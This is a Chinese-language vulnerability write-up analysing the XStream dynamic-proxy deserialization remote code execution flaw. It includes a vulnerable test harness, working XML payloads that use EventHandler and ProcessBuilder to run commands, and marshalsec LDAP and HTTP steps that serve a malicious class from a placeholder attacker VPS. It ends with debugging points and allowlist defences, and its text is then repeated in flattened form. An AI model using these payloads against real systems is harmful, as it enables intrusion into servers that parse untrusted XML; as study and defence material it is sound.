xstream动态代理反序列化漏洞调试分析
字数 1253 2025-08-05 00:15:18

XStream动态代理反序列化漏洞分析与利用

漏洞概述

XStream是一个流行的Java库,用于将对象序列化为XML/JSON格式或反向操作。在1.4.x系列版本中(<=1.4.6或=1.4.10),存在动态代理反序列化漏洞,攻击者可以通过构造特殊的XML payload实现远程代码执行(RCE)。

漏洞原理

该漏洞利用Java动态代理机制和EventHandler类的特性:

  1. 动态代理:Java允许在运行时创建实现指定接口的代理类实例
  2. EventHandler:实现了InvocationHandler接口,可以监控接口方法调用并执行指定操作
  3. ProcessBuilder:用于执行系统命令

攻击者构造的XML payload会创建一个动态代理,当代理接口的任何方法被调用时,会触发EventHandler执行ProcessBuilderstart()方法,从而实现命令执行。

环境搭建

Maven依赖配置

<dependency>
  <groupId>com.thoughtworks.xstream</groupId>
  <artifactId>xstream</artifactId>
  <version>1.4.10</version> <!-- 漏洞版本 -->
</dependency>

测试代码

import com.thoughtworks.xstream.XStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.InputStream;

public class XStreamTest {
    public static void main(String[] args) throws FileNotFoundException {
        String path = XStreamTest.class.getClassLoader().getResource("poc.xml").getPath();
        InputStream in = new FileInputStream(path);
        XStream xs = new XStream();
        Car c = (Car)xs.fromXML(in); // 反序列化触发漏洞
        c.run(); // 调用代理接口方法触发命令执行
    }
}

漏洞利用

基本POC (poc.xml)

<dynamic-proxy>
    <interface>car</interface>
    <handler class="java.beans.EventHandler">
        <target class="java.lang.ProcessBuilder">
            <command>
                <string>calc</string> <!-- 要执行的命令 -->
            </command>
        </target>
        <action>start</action> <!-- 要调用的方法 -->
    </handler>
</dynamic-proxy>

通用POC (使用Comparable接口)

<sorted-set>
    <dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
                <command>
                    <string>calc.exe</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </dynamic-proxy>
</sorted-set>

实际攻击步骤

  1. 准备恶意类:在VPS上开启HTTP服务存放恶意类

    python -m http.server 8888
    
  2. 启动LDAP服务:使用marshalsec工具

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip/css/#ExportObject 1389
    
  3. 生成payload:使用marshalsec生成XStream反序列化payload

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream CommonsBeanutils ldap://your-dnslog-domain/a > payload.xml
    
  4. 发送payload:将生成的payload.xml发送到目标系统

漏洞分析

执行流程

  1. XStream解析XML时遇到<dynamic-proxy>标签
  2. 创建动态代理对象,指定接口为carComparable
  3. 设置EventHandler作为代理处理器
  4. 配置EventHandlertargetProcessBuilderactionstart
  5. 当代理接口的任何方法被调用时,触发EventHandler执行ProcessBuilder.start()
  6. ProcessBuilder执行系统命令

关键调试点

  1. XML解析XStream.fromXML()开始解析
  2. 动态代理创建:在DynamicProxyConverter.unmarshal()中创建代理
  3. EventHandler设置:通过context.convertAnother()获取并设置处理器
  4. 命令执行触发:代理接口方法调用时触发EventHandler.invoke()

防御措施

  1. 升级XStream到最新安全版本
  2. 实现XStream的安全配置,限制反序列化类:
    XStream xs = new XStream();
    xs.allowTypesByWildcard(new String[] {
        "com.yourpackage.**"
    });
    
  3. 使用白名单机制限制可反序列化的类

总结

XStream动态代理反序列化漏洞通过结合Java动态代理和EventHandler机制,实现了在反序列化过程中执行任意命令的能力。攻击者只需构造特定的XML payload并诱使目标系统反序列化,即可实现远程代码执行。在实际渗透测试中,需要注意LDAP服务的端口限制(通常只能使用80、443或53端口)。

XStream动态代理反序列化漏洞分析与利用 漏洞概述 XStream是一个流行的Java库,用于将对象序列化为XML/JSON格式或反向操作。在1.4.x系列版本中( <=1.4.6或=1.4.10),存在动态代理反序列化漏洞,攻击者可以通过构造特殊的XML payload实现远程代码执行(RCE)。 漏洞原理 该漏洞利用Java动态代理机制和 EventHandler 类的特性: 动态代理 :Java允许在运行时创建实现指定接口的代理类实例 EventHandler :实现了 InvocationHandler 接口,可以监控接口方法调用并执行指定操作 ProcessBuilder :用于执行系统命令 攻击者构造的XML payload会创建一个动态代理,当代理接口的任何方法被调用时,会触发 EventHandler 执行 ProcessBuilder 的 start() 方法,从而实现命令执行。 环境搭建 Maven依赖配置 测试代码 漏洞利用 基本POC (poc.xml) 通用POC (使用Comparable接口) 实际攻击步骤 准备恶意类 :在VPS上开启HTTP服务存放恶意类 启动LDAP服务 :使用marshalsec工具 生成payload :使用marshalsec生成XStream反序列化payload 发送payload :将生成的payload.xml发送到目标系统 漏洞分析 执行流程 XStream解析XML时遇到 <dynamic-proxy> 标签 创建动态代理对象,指定接口为 car 或 Comparable 设置 EventHandler 作为代理处理器 配置 EventHandler 的 target 为 ProcessBuilder , action 为 start 当代理接口的任何方法被调用时,触发 EventHandler 执行 ProcessBuilder.start() ProcessBuilder 执行系统命令 关键调试点 XML解析 : XStream.fromXML() 开始解析 动态代理创建 :在 DynamicProxyConverter.unmarshal() 中创建代理 EventHandler设置 :通过 context.convertAnother() 获取并设置处理器 命令执行触发 :代理接口方法调用时触发 EventHandler.invoke() 防御措施 升级XStream到最新安全版本 实现 XStream 的安全配置,限制反序列化类: 使用白名单机制限制可反序列化的类 总结 XStream动态代理反序列化漏洞通过结合Java动态代理和 EventHandler 机制,实现了在反序列化过程中执行任意命令的能力。攻击者只需构造特定的XML payload并诱使目标系统反序列化,即可实现远程代码执行。在实际渗透测试中,需要注意LDAP服务的端口限制(通常只能使用80、443或53端口)。